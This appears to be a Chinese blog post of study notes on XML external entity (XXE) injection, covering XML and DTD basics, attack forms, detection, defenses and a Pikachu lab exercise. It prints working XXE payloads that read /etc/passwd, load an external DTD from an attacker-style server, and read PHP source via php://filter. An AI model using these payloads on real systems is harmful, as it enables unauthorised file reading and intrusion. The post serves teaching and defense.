XXE学习(含pikachu)

最新推荐文章于 2024-05-13 10:46:10 发布
最新推荐文章于 2024-05-13 10:46:10 发布
阅读量284 收藏
点赞数
分类专栏： pikachu web知识学习
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_51558360/article/details/113120330
版权

xml基础知识

XML用于标记电子文件使其具有结构性的标记语言，可以用来标记数据、定义数据类型，是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义（可选）、文档元素

<?xml version="1.0" ?>//XML声明

<!DOCTYPE note [
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to      (#PCDATA)>
  <!ELEMENT from    (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body    (#PCDATA)>
]>
   //文档类型定义
<note>
<to>George</to>
<from>John</Ffrom>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>//文档元素

xml文档的构建模块
所有的 XML 文档（以及 HTML 文档）均由以下简单的构建模块构成：
元素
属性
实体
PCDATA
CDATA

下面是每个构建模块的简要描述。
1，元素
元素是 XML 以及 HTML 文档的主要构建模块，元素可包含文本、其他元素或者是空的。
实例:

<body>body text in between</body>

<message>some message in between</message>

空的 HTML 元素的例子是 “hr”、“br” 以及 “img”。

2，属性
属性可提供有关元素的额外信息
实例：

<img src="computer.gif" />

3，实体
实体是用来定义普通文本的变量。实体引用是对实体的引用。

4，PCDATA
PCDATA 的意思是被解析的字符数据（parsed character data）。
PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。

5，CDATA
CDATA 的意思是字符数据（character data）。
CDATA 是不会被解析器解析的文本。

DTD(文档类型定义)
DTD（文档类型定义）的作用是定义 XML 文档的合法构建模块。
DTD 可以在 XML 文档内声明，也可以外部引用。
1，内部声明：<!DOCTYPE 根元素 [元素声明]> ex: <!DOCTYOE test any>

<?xml version="1.0"?>
<!DOCTYPE note [
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to      (#PCDATA)>
  <!ELEMENT from    (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body    (#PCDATA)>
]>
<note>
  <to>George</to>
  <from>John</from>
  <heading>Reminder</heading>
  <body>Don't forget the meeting!</body>
</note>

2，外部声明（引用外部DTD）：<!DOCTYPE 根元素 SYSTEM "文件名"> ex:<!DOCTYPE test SYSTEM 'http://www.test.com/evil.dtd'>

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

而note.dtd的内容为:

<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

DTD实体
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量，可以内部声明或外部引用。

实体又分为一般实体和参数实体
1，一般实体的声明语法:<!ENTITY 实体名 "实体内容“>
引用实体的方式：&实体名；
2，参数实体只能在DTD中使用，参数实体的声明格式： <!ENTITY % 实体名 "实体内容“>
引用实体的方式：%实体名；

1，内部实体声明:<!ENTITY 实体名称 "实体的值"> ex:<!ENTITY eviltest "eviltest">

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">
]>

<test>&writer;&copyright;</test>

2，外部实体声明:<!ENTITY 实体名称 SYSTEM "URI">

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
]>
<author>&writer;&copyright;</author>

什么是XXE

xxe也就是xml外部实体注入。即：XML External Entity

XXE攻击


方式一：直接通过DTD外部实体声明
XML内容 

<?xml version="1.0"?>
<!DOCTYPE a [
    <!ENTITY b SYSTEM "file:///etc/passwd">
]>
<c>&b;</c>

方式二：通过DTD文档引入外部DTD文档，再引入外部实体声明
xml内容：

<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://mark4z5.com/evil.dtd">
<c>&b;</c>

DTD文件内容：

<!ENTITY b SYSTEM "file:///etc/passwd">

方式三：通过DTD外部实体声明引入外部实体声明
好像有点拗口，其实意思就是先写一个外部实体声明，然后引用的是在攻击者服务器上面的外部实体声明
具体看例子,XML内容

<?xml version="1.0"?>
<!DOCTYPE a [
        <!ENTITY % d SYSTEM "http://mark4z5.com/evil.dtd">
        %d;
]>
<c>&b;</c>

dtd文件内容

<!ENTITY b SYSTEM "file:///etc/passwd">

XXE的危害

XXE危害1：读取任意文件
XXE危害2：执行系统命令
XXE危害3：探测内网端口
XXE危害4：攻击内网网站

检测XXE

手动：
1、数据以XML形式进行传输时，直接插入payload进行测试
2、数据包请求头中Context-Type的值为application/jason，更改为application/xml或者text/xml，然后插入payload测试
工具：
XXEinjector

防范措施

1、使用禁用外部实体的方法：
php： libxml_disable_entity_loader(true)
JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
      dbf.setExpandEntityReferences(false);

Python：

from lxml import etree
  xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

2、过滤用户提交的XML数据关键字
如<!DOCTYPE、<!ENTITY、SYSTEM、PUBLIC等

pikachu练习XXE漏洞

在这里插入图片描述
构造payload

<?xml version = "1.0"?>
<!DOCTYPE note [
    <!ENTITY hacker "test">
]>
<name>&hacker;</name>

输入发现显示在了前端
payload中&hacker;是用来将hacker这个实体进行调用，hacker实体成功在前端回显。

在这里插入图片描述
如果我们提交下面这样的payload，就能看到服务器上的文件内容
这里用了php协议

<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">
]>
<x>&f;</x>

在这里插入图片描述

<?xml version="1.0"  encoding="UTF-8"?>
<!DOCTYPE name [
<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<name>&xxe;</name>

至于这个为什么不行 应该是还有包没装好，所以无法执行外部实体

_pain_
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
CTF Web题 部分WP
wywwzjj
11-26 12万+
1.web2 听说聪明的人都能找到答案 http://123.206.87.240:8002/web2/ CTRL + u 查看源代码 2.计算器 http://123.206.87.240:8002/yanzhengma/ 改一下字符输入长度的限制 3.web基础$_GET http://123.206.87.240:8002/get/ ?var=val 4.web基础$_P...
jarvisoj WEB +MISC writeup
Ni9htMar3的博客
12-26 7261
WEB PORT 51 Login LOCALHOST 神盾局的秘密 IN a mess Easy Gallery Simple Injection 方法一 方法二 api的调用 PHPINFO
xxe 漏洞学习总结
YouthBelief的博客
12-07 1086
XXE 学习基础学习如何构建外部实体一：直接通过DTD外部实体声明二：（一般实体）通过DTD外部实体声明引入外部DTD文档，再引入外部实体声明三：（参数实体）通过DTD外部实体声明引入外部DTD文档，再引入外部实体声明。有回显适用于 无回显支持的协议靶场练习 docker XXE靶场搭建漏洞挖掘靶场练习 pikachu（win10）靶场搭建漏洞挖掘无回显情况 基础学习 XXE（XML External Entity Injection）被称为xml外部实体注入，漏洞发生在应用程序解析用户提交的xml文件时，
CTF php代码审计 strpos()函数漏洞 XXE漏洞xinclude()
baynk的博客
03-21 3165
这个题之间弄了好一会，都没搞出来，一直没时间，今天下定决定把它做出来！！！ <?php highlight_file(__FILE__); class Login { public function __construct($user, $pass) { $this->loginViaXml($user, $pass); } ...
Pikachu 靶场 XXE 通关解析
最新发布
Flag少侠的博客
05-13 1122
XXE漏洞（XML External Entity Injection）是一种安全漏洞，存在于使用XML解析器的应用程序中。攻击者可以利用XXE漏洞来读取服务器上的任意文件、执行远程请求、进行内部端口扫描等操作，甚至可能导致服务器拒绝服务攻击。XXE漏洞的原理是利用应用程序对外部实体的解析支持。XML实体是可以引用外部资源（如文件或URL）的独立实体。当应用程序在解析XML时，如果未正确配置解析器或没有禁用外部实体的引用，攻击者可以构造恶意的XML实体来触发XXE漏洞。]>
VulnHub_XXE xxe writeup ctfgame_logs
m0_58543272的博客
08-27 957
vulnhub的一个xxe靶场的全程writeup
2020第五空间 web writeup
a3320315的博客
06-27 3344
hate-php 源码 <?php error_reporting(0); if(!isset($_GET['code'])){ highlight_file(__FILE__); }else{ $code = $_GET['code']; if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) { die('You are too good for me');
EOS文档
Fly_鹏程万里
12-17 362
Wiki导航 术语表 公测: Dawn 2.0 概览 节点 公测端点 链接EOSD和公测网络 链接本地EOSC和公测网络 公测账户 程序和工具 eosd eosc eos钱包 launcher 快照 eoscpp 本地环境 获取代码 编译EOS Docker 创建并启动一个测试链 常见问题 账户及权限 钱包 ...
XXE漏洞原理及常见利用方式（以xxe-lab为示例）
weixin_43610673的博客
03-11 2313
这是一个有回显的XXE，这里读的文件是比较理想的，没有会被xml解析的字符，如果像下图中文件的内容一样就会引起xml解析报错（如Linux的/etc/fstab文件其中包含一些看起来像 XML 的字符），XML 解析器会尝试解析这些元素，但其不是一个有效的 XML 文档。而XXE是将XML元素注入变成外部实体注入，上面的基础知识部分已经提到了在DTD中声明外部实体，在xml中实体的作用相当于是一个已经定义的变量，可以在标签内使用，通过 & 符号进行引用。，是不会被解析器解析的文本。...
[Vulhub] PHP环境 XML外部实体注入漏洞（XXE）
weixin_45605352的博客
05-07 3361
0x01 预备知识 XXE是什么？ XXE(XML External Entity Injection)也就是XML外部实体注入，XXE漏洞发生在应用程序解析XML输入时，XML文件的解析依赖libxml 库，而 libxml2.9 以前的版本默认支持并开启了对外部实体的引用，服务端解析用户提交的XML文件时，未对XML文件引用的外部实体（含外部一般实体和外部参数实体）做合适的处理，并且实体的URL支持 file:// 和 ftp:// 等协议，导致可加载恶意外部文件和代码，造成 任意文件读取、命令执行、
1.7服务端漏洞——XXE漏洞原理
The code way of kinnisoy
07-07 594
XXE漏洞原理 1.XXE是什么 XXE全称是——XML External Entity,也就是XML外部实体注入攻击.漏洞是在对不安全的外部实体数据进行处理时引发的安全问题。 xml实体注入就是利用了客户端返回xml提交数据时，注入远程调用xml实体的代码来实现一些想要的功能。 要想搞懂XXE，肯定要先了解XML语法规则和外部实体的定义及调用形式。 2.XML介绍 XML数据传输类型（同类：JSON 序列化） XML文档结构包括XML声明、DTD文档类型定义（可选）、文档元素。 语法规则： 1.所有的X
XXE漏洞的详解与利用
weixin_56606020的博客
03-15 4326
XXE漏洞详解 漏洞介绍： 如果XML 文件在引用外部实体时候，可以沟通构造恶意内容，可以导致读取任意文件，命令执行和对内网的攻击，这就是XXE漏洞。另外php版本大于5.4.45的默认不解析外部实体 XML： 设计用来进行数据的传输和存储， 结构是树形结构，有标签构成，这点很想HTML语言。但是XML和HTML有明显区别如下： 1.被设计用来传输和存储数据。 2.被设计用来显示数据。 XML结构： <?xml version="1.0" encoding="UTF-8"?&.
XXE漏洞漏洞及利用方法解析
weixin_43749601的博客
03-02 2412
XXE（XML External Entity Injection）即XML外部实体类注入漏洞。XXE漏洞发生在应用程序解析XML输入时，没有禁止外部实体的加载，导致可加载恶意外部文件，造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。XXE漏洞触发的点往往是可以上传XML文件的位置，没有对上传的XML文件进行过滤，导致可上传恶意XML文件。 0x001 XML XML设计用来传送及携带数据信息，不用来表现或展示数据，HTML则用来表现数据，所以XML用途的焦点是它说明数据是什么，以
xxe漏洞利用
qq_50673174的博客
05-30 1529
XXE（XML External Entity）是指xml外部实体攻击漏洞。XML外部实体攻击是针对解析XML输入的应用程序的一种攻击。当包含对外部实体的引用的XML输入被弱配置XML解析器处理时，就会发生这种攻击。这种攻击通过构造恶意内容，可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
XXE漏洞介绍及利用
星落的博客
06-11 9901
XXE漏洞介绍 XXE全称为XML External Entity Injection即XMl外部实体注入漏洞。 XXE漏洞 XXE漏洞触发点往往是可以上传xmlwenjian的位置，没有对xml文件进行过滤，导致可加载恶意外部文件和代码，造成任意文件读取，命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害 XML介绍及用途 XMl被设计用来传输和存储数据。XML文档形成了一种树状结构，它从"根部"开始，然后扩展到"枝叶"。 XMl允许作者定义自己的标签和自己的文档结构。 XML.
XXE漏洞详解
weixin_56714714的博客
07-25 7783
XXE 什么是XXE? ​ XXE全程xml外部实体，从安全角度来讲，由此引发的漏洞称之为XML外部实体攻击 XML作为一种使用较为广泛的数据传输格式，很多应用程序都包含有处理xml数据的代码， 许多过时或配置不当的XML处理器都会对外部实体进行引用，如果攻击者可以上传XML文档或者在XML文档 中添加恶意内容，通过易受攻击的代码，就能够攻击包含缺陷的XML处理器，XXE漏洞的出现和开发语言无关 只要是应用程序中对XML数据做了解析，而且这些数据又受用户控制，那么应用程序都可能受到XXE攻击 什么是XML？
SRC挖洞之SSRF与XXE漏洞的实战案例
道阻且长，行则将至。
05-31 2203
文章目录前言SSRF漏洞案例1 某翻译网SSRF可通内网案例2 某翻译网SSRF防护绕过案例3 某站SSRF读取本地文件案例4 某站视频解析导致SSRF案例5 某狗主站SSRF多种绕过案例6 某乎网SSRF可探测内网XXE漏洞案例1 用友某软件存在XXE漏洞案例2 XFire 开发组件XXE漏洞案例3 博客搬家功能处XXE漏洞案例4 用友某软件存在XXE盲注总结 前言 前面一篇文章 SRC挖洞之文件上传/下载漏洞的实战案例 介绍了 任意文件下载漏洞 和 任意文件上传漏洞，本文收集讲述下 SSRF 漏洞和 X
XXE漏洞原理及防御方式。
dreamthe的博客
11-16 3074
写这篇文章目的就是想认真理理XEE这个漏洞，因为在学习过程中，听过老师的一些课，看过很多文章解释，我觉得讲的都是很官方话或者专业用语，对于初学者理解很难，可能我理解能力不够哈，嘻嘻。以下内容仅仅是我个人理解，以及我个人的比喻，比喻可以让你更好理解这个东西，这是我学习的一个方法，可是使的抽象的东西变得比较具体一些。 xml简单了解 XXE这个漏洞的理解，首先我们了解xml文档，因为该漏洞就是由xml文档引起的 XML用于标记电子文件使其具有结构性的标记语言，可以用来标记数据、定义数据类型，是一种允许用.
PHP环境 XML外部实体注入漏洞（XXE）
weixin_43886198的博客
12-21 618
PHP环境 XML外部实体注入漏洞（XXE） 环境介绍： PHP 7.0.30 libxml 2.8.0 libxml2.9.0以后，默认不解析外部实体，导致XXE漏洞逐渐消亡。为了演示PHP环境下的XXE漏洞，本例会将libxml2.8.0版本编译进PHP中。PHP版本并不影响XXE利用。 使用如下命令编译并启动环境： docker-compose up -d 环境启动后，访问http://your-ip:8080/index.php即可看到phpinfo，搜索libxml即可看到其版本为2.8.0
pikachu XXE
08-31
pikachu是一个开源的漏洞扫描工具，XXE（XML External Entity）漏洞是其中一个模块。 XXE漏洞是指攻击者通过构造恶意的XML实体来访问本地或远程文件系统，从而获取敏感信息或执行任意代码。这样的漏洞通常出现在使用XML解析器的应用程序中，当应用程序没有正确配置解析器时，攻击者可以利用XXE漏洞来进行攻击。 在pikachu中，XXE模块可以帮助用户扫描和发现应用程序中的XXE漏洞，并提供修复建议。使用pikachu进行XXE扫描的过程包括将pikachu文件夹放到web服务器根目录下，修改配置文件中的数据库连接配置，然后访问相应的URL进行安装和初始化。 总结来说，pikachu是一个漏洞扫描工具，其中包含XXE漏洞模块，可以帮助用户发现和修复应用程序中的XXE漏洞。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [Pikachu系列——XXE](https://blog.csdn.net/Zlirving_/article/details/106274289)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *3* [pikachu之xxe](https://blog.csdn.net/qq_43665434/article/details/113867722)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值